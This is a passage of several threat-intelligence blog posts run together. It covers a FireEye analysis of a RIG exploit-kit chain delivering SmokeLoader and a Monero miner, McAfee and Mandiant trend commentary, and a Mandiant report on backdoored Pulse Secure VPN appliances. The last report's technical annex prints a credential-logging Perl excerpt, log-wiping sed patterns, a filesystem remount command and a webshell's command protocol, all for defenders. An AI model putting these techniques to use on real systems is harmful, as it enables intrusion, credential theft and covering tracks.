Figure 5: JavaScript 2 code snippet This newly appended JavaScript exploits CVE-2015-2419 which utilizes a vulnerability in JSON.stringify.
This script obfuscates the call to JSON.stringify by storing pieces of the exploit in the variables shown in Figure 6.
Figure 6: Obfuscation using variables Using these variables, the JavaScript calls JSON.stringify with malformed parameters in order to trigger CVE-2015-2419 which in turn will cause native code execution, as shown in Figure 7.
Figure 7:
Call to JSON.Stringify JavaScript 3 The third JavaScript has code that adds additional JavaScript, similar to the second JavaScript.
This additional JavaScript adds a flash object that exploits CVE-2018-4878 , as shown in Figure 8.
Figure 8:
JavaScript 3 code snippet Once the exploitation is successful, the shellcode invokes a command line to create a JavaScript file with filename u32.tmp, as shown in Figure 9.
Figure 9: WScript command line This JavaScript file is launched using WScript, which downloads the next-stage payload and executes it using the command line in Figure 10.
Figure 10:
Malicious command line Payload Analysis For this attack, the actor has used multiple payloads and anti-analysis techniques to bypass the analysis environment.
Figure 11 shows the complete malware activity flow chart.
Figure 11:
Malware activity flow chart Analysis of NSIS Loader (SmokeLoader)
The first payload dropped by the RIG EK is a compiled NSIS executable famously known as SmokeLoader.
Apart from NSIS files, the payload has two components: a DLL, and a data file (named ‘kumar.dll’ and ‘abaram.dat’ in our analysis case).
The DLL has an export function that is invoked by the NSIS executable.
This export function has code to read and decrypt the data file, which yields the second stage payload (a portable executable file).
The DLL then spawns itself (dropper) in SUSPENDED_MODE and injects the decrypted PE using process hollowing.
Analysis of Injected Code (Second Stage Payload)
The second stage payload is a highly obfuscated executable.
It consists of a routine that decrypts a chunk of code, executes it, and re-encrypts it.
At the entry point, the executable contains code that checks the OS major version, which it extracts from the Process Environment Block (PEB).
If the OS version value is less than 6 (prior to Windows Vista), the executable terminates itself.
It also contains code that checks whether the executable is in debugged mode, which it extracts from offset 0x2 of the PEB.
If the BeingDebugged flag is set, the executable terminates itself.
The malware also implements an Anti-VM check by opening the registry key HKLM\\SYSTEM\\ControlSet001\\Services\\Disk\\Enum with value 0.
It checks whether the registry value data contains any of the strings: vmware, virtual, qemu, or xen.
Each of these strings is indictative of virtual machines After running the anti-analysis and environment check, the malware starts executing the core code to perform the malicious activity.
The malware uses the PROPagate injection method to inject and execute the code in a targeted process.
The PROPagate method is similar to the SetWindowLong injection technique.
In this method, the malware uses the SetPropA function to modify the callback for UxSubclassInfo and cause the remote process to execute the malicious code.
This code injection technique only works for a process with lesser or equal integrity level.
The malware first checks whether the integrity of the current running process is medium integrity level (2000, SECURITY_MANDATORY_MEDIUM_RID).
Figure 12 shows the code snippet.
Figure 12:
Checking integrity level of current process
If the process is higher than medium integrity level, then the malware proceeds further.
If the process is lower than medium integrity level, the malware respawns itself with medium integrity.
The malware creates a file mapping object and writes the dropper file path to it and the same mapping object is accessed by injected code, to read the dropper file path and delete the dropper file.
The name of the mapping object is derived from the volume serial number of the system drive and a XOR operation with the hardcoded value (Figure 13).
File Mapping Object Name =
“Volume Serial Number” + “Volume Serial Number” XOR 0x7E766791 Figure 13: Creating file mapping object name The malware
then decrypts the third stage payload using XOR and decompresses it with RTLDecompressBuffer.
The third stage payload is also a PE executable, but the author has modified the header of the file to avoid it being detected as a PE file in memory scanning.
After modifying several header fields at the start of decrypted data, we can get the proper executable header (Figure 14).
Figure 14:
Injected executable without header (left), and with header (right)
After decrypting the payload, the malware targets the shell process, explorer.exe, for malicious code injection.
It uses GetShellWindow and GetWindowThreadProcessId APIs to get the shell window’s thread ID (Figure 15).
Figure 15: Getting shell window thread ID
The malware injects and maps the decrypted PE in a remote process (explorer.exe).
It also injects shellcode that is configured as a callback function in SetPropA.
After injecting the payload into the target process, it uses EnumChild and EnumProps functions to enumerate all entries in the property list of the shell window and compares it with UxSubclassInfo After finding the UxSubclassInfo property of the shell window, it saves the handle info and uses it to set the callback function through SetPropA.
SetPropA has three arguments, the third of which is data.
The callback procedure address is stored at the offset 0x14 from the beginning of data.
Malware modifies the callback address with the injected shellcode address (Figure 16).
Figure 16:
Modifying callback function The malware then sends a specific message to the window to execute the callback procedure corresponding to the UxSubclassInfo property, which leads to the execution of the shellcode.
The shellcode contains code to execute the address of the entry point of the injected third stage payload using CreateThread.
It then resets the callback for SetPropA, which was modified by malware during PROPagate injection.
Figure 17 shows the code snippet of the injected shellcode.
Figure 17:
Assembly view of injected shellcode Analysis of Third Stage Payload Before executing the malicious code, the malware performs anti-analysis checks to make sure no analysis tool is running in the system.
It creates two infinitely running threads that contain code to implement anti-analysis checks.
The first thread enumerates the processes using CreateToolhelp32Snapshot and checks for the process names generally used in analysis.
It generates a DWORD hash value from the process name using a custom operation and compares it with the array of hardcoded DWORD values.
If the generated value matches any value in the array, it terminates the corresponding process.
The second thread enumerates the windows using EnumWindows.
It uses GetClassNameA function to extract the class name associated with the corresponding window.
Like the first thread, it generates a DWORD hash value from the class name using a custom operation and compares it with the array of hardcoded DWORD values.
If the generated value matches any value in the array, it terminates the process related to the corresponding window.
Other than these two anti-analysis techniques, it also has code to check the internet connectivity by trying to reach the URL: www.msftncsi[.
]com/ncsi.txt.
To remain persistent in the system, the malware installs a scheduled task and a shortcut file in %startup% folder.
The scheduled task is named “Opera Scheduled Autoupdate {Decimal Value of GetTickCount()}”.
The malware then communicates with the malicious URL to download the final payload, which is a Monero miner.
It creates a MD5 hash value using Microsoft CryptoAPIs from the computer name and the volume information and sends the hash to the server in a POST request.
Figure 18 shows the network communication.
Figure 18:
Network communication The malware then downloads the final payload, the Monero miner, from the server and installs it in the system.
Conclusion Although we have been observing a decline in Exploit Kit activity, attackers are not abandoning them altogether.
In this blog post, we explored how RIG EK is being used with various exploits to compromise endpoints.
We have also shown how the NSIS Loader leverages the lesser known PROPagate process injection technique, possibly in an attempt to evade security products.
FireEye MVX and the FireEye Endpoint Security (HX) platform detect this attack at several stages of the attack chain.
Acknowledgement We would like to thank Sudeep Singh and Alex Berry for their contributions to this blog post.
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By Christiaan Beek on Sep 24, 2018 As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking.
Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.
One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing.
Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom.
Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants.
The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2.
These variants combined make up more than 50% of the total number of Scarab samples to date.
What spiked the movement, starting in fall 2017, toward cryptojacking?
The first reason is the value of cryptocurrency.
If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough.
If direct theft is not possible, why not mine coins using a large number of hijacked systems.
There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money.
We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view.
If an attacker can hijack enough systems, mining in high volume can be profitable.
Not only individuals struggle with protecting against these attacks; companies suffer from them as well.
Securing cloud environments can be a challenge.
Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls.
We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.
New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately.
Who would guess to use an embedded voice assistant to hack a computer?
Who looks for potential attack vectors in new technologies and starts a dialog with the industry?
One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports.
With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer.
From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry.
We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.
When I joined Mandiant earlier this year, I was given the opportunity to help write our annual M-Trends report .
This is the third year Mandiant has published the report, which is a summary of the trends we've observed in our investigations over the last twelve months.
I remember reading Mandiant's first M-Trends report when it came out in 2010 and recall being surprised that Mandiant didn't pull any punches.
They talked about the advanced persistent threat or APT (they had been using that term for several years...long before it was considered a cool marketing, buzz word), and they were open about the origin of the attacks.
The report summarized what I'd been seeing in industry, and offered useful insights for detection and response.
Needless to say, I enjoyed the opportunity to work on the latest version.
In this year's report it details six trends we identified in 2011.
We developed the six trends for the report very organically.
That is, I spent quite a few days and nights reading all of the reports from our outstanding incident response team and wrote about what we saw-we didn't start with trends and then look for evidence to support them.
If you haven't picked up a copy of the report yet, you can do so here .
I will be blogging on each of the six trends over the next two weeks; you can even view the videos we've developed for each trend as each blog post is published:
Malware Only Tells Half the Story .
Of the many systems compromised in each investigation, about half of them were never touched by attacker malware.
In so many cases, the intruders logged into systems and took data from them (or used them as a staging point for exfiltration), but didn't install tools.
It is ironic that the very systems that hold the data targeted by an attacker are probably the least likely to have malware installed on them.
While finding the malware used in an intrusion is important, it is impossible to understand the full scope of an intrusion if this is the focal point of the investigation.
We illustrate actual examples of this in the graphical spread on pages 6-7 of the report.
What does this mean for victim organizations?
You could start by looking for malware, but don't end there!
A smart incident response process will seek to fully understand the scope of compromise and find all impacted systems in the environment.
This could mean finding the registry entries that identify lateral movement, traces of deleted .rar
files in unallocated space, or use of a known compromised account.
It turns out that Mandiant has a product that does all of this, but the footnote on page 5 is the only mention you'll see in the entire report (and even that was an afterthought).
Thoughts and questions about this trend or the M-Trends report?
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Executive Summary Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893 , are responsible for the initial infection vector.
Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted.
A final patch to address the vulnerability will be available in early May 2021.
Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.
Introduction Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices.
These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations.
It is likely that multiple actors are responsible for the creation and deployment of these various code families.
The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances.
Analysis is ongoing to determine the extent of the activity.
Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.
As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.
Details Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world.
In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.
In many cases, we were not able to determine how actors obtained administrator-level access to the appliances.
However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893 .
We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments.
In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance.
This was done to accomplish the following: Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements.
We track these trojanized assemblies as SLOWPULSE and its variants.
Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
Unpatch modified files and delete utilities and scripts after use to evade detection.
Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.
In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization.
Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630.
We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects.
We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.
Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717.
We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors.
It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools.
Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.
SLOWPULSE
During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE.
This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so .
Three of the four discovered variants enable the attacker to bypass two-factor authentication.
A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.
SLOWPULSE Variant 1
This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker.
The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.
LDAP Auth Bypass The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure.
This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.
Figure 1: LDAP Auth Bypass RADIUS Two Factor Auth Bypass The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure.
This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server.
If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.
Figure 2: Radius-2FA Bypass SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword .
Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.
Figure 3:
ACE Auth Credential Log SLOWPULSE Variant 3 ACE Two Factor Auth Bypass This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword .
The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided.
With this modification the attacker can spoof successful authentication.
Figure 4: ACE Auth Bypass Variant SLOWPULSE Variant 4
RealmSignin Two Factor Auth Bypass This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN.
The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication.
We believe that this may be a two-factor authentication bypass.
Figure 5: RealmSignIn 2FA Auth Bypass Attribution We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families.
Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.
Mandiant is able to assess that: UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5 UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
We do not have enough information about the use of LOCKPICK to make an attribution statement.
UNC2630 UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement.
Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5.
We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government.
Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.
Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5.
While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.
APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances.
They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.
As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities.
During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
Also during this time, APT5 stole files related to military technology from a South Asian defense organization.
Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
APT5 persistently targets high value corporate networks and often re-compromises networks over many years.
Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia.
Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.
Recommendations All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible.
Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021.
If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.
Organizations should examine available forensic evidence to determine if an attacker compromised user credentials.
Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.
Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex.
Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected.
Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page .
Detections and Mitigations 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.
]cgi?token=<varies> that may be accessed by an attacker.
The sample uses the POST parameters checkcode , hashid , m , and filename .
This URL is not present in legitimate versions of this file.
7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2
d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b
PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials: /tmp/dsactiveuser.statementcounters /tmp/dsstartssh.statementcounters /tmp/
dsserver-check.statementcounters cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server.
Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.
a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1
Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent: Key Value REQUEST_METHOD
POST HTTP_X_KEY <
BackdoorKey> HTTP_X_CNT
<RC4Key> HTTP_X_CMD <RC4Command> 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\\n .
68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 PACEMAKER is saved at filepath /home/bin/memread Executed with commandline flags –t , -m , -s
Attaches to victim processes with PTRACE and opens subfiles in /proc/
88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 THINBLOOD creates the files: /home/runtime/logs/log.events.vc1 /home/runtime/logs/log.events.vc2 /home
/runtime/logs/log.access.vc1 /home
/runtime/logs/log.access.vc2 Executes the system API with the mv command specifying one of the files above, targeting: /home
/runtime/logs/log.access.vc0 /home/runtime/logs/log.events.vc0 Executes the rm command specify one of the .vc1 files above 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a SLIGHTPULSE uses /tmp/1 as command execution log All POST requests to meeting_testjs.cgi are suspicious POST parameters: cert , img , name are used by malicious logic Responses to the endpoint with the name parameter respond with no-cache and image/gif
1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9 THINBLOOD execution of sed on the files: log.events.vc0 log.access.vc0 Log.admin.vc0 Sed patterns used: s/.\\x00[^\\x00]*<regex_string>[^\\x00]*\\x09.\\x00//g s/\\x<hex_char>\\x00[^\\x00]*<regex_string>[^\\x00]*\\x09\\x<hex_char>\\x00//g
06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out.
The commandline argument e or E must be supplied as the fourth argument.
Example command line: ./patcher input.bin output.bin backdoorkey e f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90
The sample uses the HTTP query parameter id and responds with HTTP headers \"Cache-Control: no-cache\\n\" and \"Content-type: text/html\\n\\n\".
224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282 705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f Execute sed on PulseSecure system files Remounts filesystem as writable: system(\"/bin/mount -o remount,rw /dev/root /\")
Unexpected execution of other system commands such as tar , cp , rm MITRE
ATT&CK Techniques
The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.
T1003-OS Credential Dumping T1016-System Network Configuration Discovery T1021.001-Remote Desktop Protocol T1027-Obfuscated Files or Information T1036.005-Match Legitimate Name or Location T1048-Exfiltration Over Alternative Protocol T1049-System Network Connections Discovery T1053-Scheduled Task/Job T1057-Process Discovery T1059-Command and Scripting Interpreter T1059.003-Windows Command Shell T1070-Indicator Removal on Host T1070.001-Clear Windows Event Logs T1070.004-File Deletion T1071.001-Web Protocols T1082-System Information Discovery T1098-Account Manipulation T1105-Ingress Tool Transfer T1111-Two-Factor Authentication Interception T1133-External Remote Services T1134.001 Access Token Manipulation: Token Impersonation/Theft T1136-Create Account T1140-Deobfuscate/Decode Files or Information T1190-Exploit Public-Facing Application T1505.003-Web Shell T1518-Software
Discovery T1554-Compromise Client Software Binary T1556.004-Network Device Authentication T1592.004
Gather Victim Host Information: Client Configurations T1562 Impair Defenses T1569.002-Service Execution T1574 Hijack Execution Flow T1600-Weaken Encryption Figure 6:
MITRE ATT&CK Map Technical Annex SLIGHTPULSE
The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a ) is a webshell capable of arbitrary file read, write, and command execution.
Malicious logic is inserted at the end of legitimate logic to respond to POST requests.
We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.
The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code.
If GET requests are performed the legitimate logic is still invoked.
POST requests have a series of parameters checked for existence to determine which command to invoke.
This logic is: POST params Invoked Command cert writefile img, name with nonempty value readfile img set to empty string \"\", name execcmd anything else invoke original legitimate logic Figure 7:
Webshells respond to POSTs All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted.
The scheme is simple.
The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended.
This nonce + phrase together act as the RC4 key.
The phrase is not sent over the wire, only the nonce.
This entire key is then used to encrypt/decrypt payload data that immediately follows the key.
The form of data on the wire is: Outbound/Inbound: <6randbytes><encrypted_data> ^-RC4NONCE-^
Usage: <6randbytes><rc4_phrase><encrypted_data> ^-------RC4 KEY--------^
ReadFile This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read.
The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers \"Content-type: application/x-download\\n\" , and form header \"Content-Disposition: attachment; filename=tmp\\n\\n\" .
WriteFile
This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5 .
The filename is opened in write mode with the file data being written to the file before the file is closed.
The results of this command are sent back to the attacker, using the headers \"Cache-Control: no-cache\\n\" and \"Content-type: text/html\\n\\n\" .
Execute This command accepts a base64 encoded, RC4 encrypted commands via the name parameter.
The malicious logic forbids the cd command and will respond with the text Error 404 if executed.
All other commands will be executed via the system API with output piped to the file /tmp/1 .
The full system command is <command> >/tmp/1 2>&1 .
The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted.
The headers \"Cache-Control: no-cache\\n\" and \"Content-type: image/gif\\n\\n\" are used.
The response appears to be masquerading as a GIF when sending back this command output.
RADIALPULSE
The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/
dsstartssh.statementcounters .
Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell.
Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.
An excerpt of the code related to credential stealing is shown as follows: my $realmName1 = $signin->getRealmInfo()->{name}; open(*fd, \">>/tmp/dsstartssh.statementcounters\"); syswrite(*fd, \"realm=$realmName1 \", 5000); syswrite(*fd, \"username=$username \", 5000); syswrite(*fd, \"password=$password\\n\", 5000); close(*fd); SLOWPULSE Variant 1 The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server.
The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols.
The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded.
If the backdoor password is not used, authentication will fail as normal.
In multiple locations assembly is written into the padding regions between legitimate functions.
As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions.
The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic.
By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions.
This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively.
LDAP Auth Bypass In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login.
This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol.
The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed.
At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location.
The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success.
A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password.
If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed.
RADIUS Two Factor Auth Bypass In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket .
The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse .
After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response.
If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later.
The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password.
If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful.
The malicious logic then rejoins the original execution flow where the packet type is checked.
If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed.
SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd ) which logs credentials used during ACE-2FA protocol authentication.
The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword .
As part of the login procedure the username and password are retrieved then written into a map entry structure.
The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\\n .
The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal.
SLOWPULSE Variant 3 ACE Two Factor Auth Bypass We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9 ) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword , however this variant bypasses the logon procedure rather than login credentials.
Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1.
The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not.
The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password.
If the password matches, then the EAX register is overwritten to 1.
This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all.
The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass.
This forces the application down the execution path of successful authentication, even though in reality authentication would have failed.
SLOWPULSE Variant 4
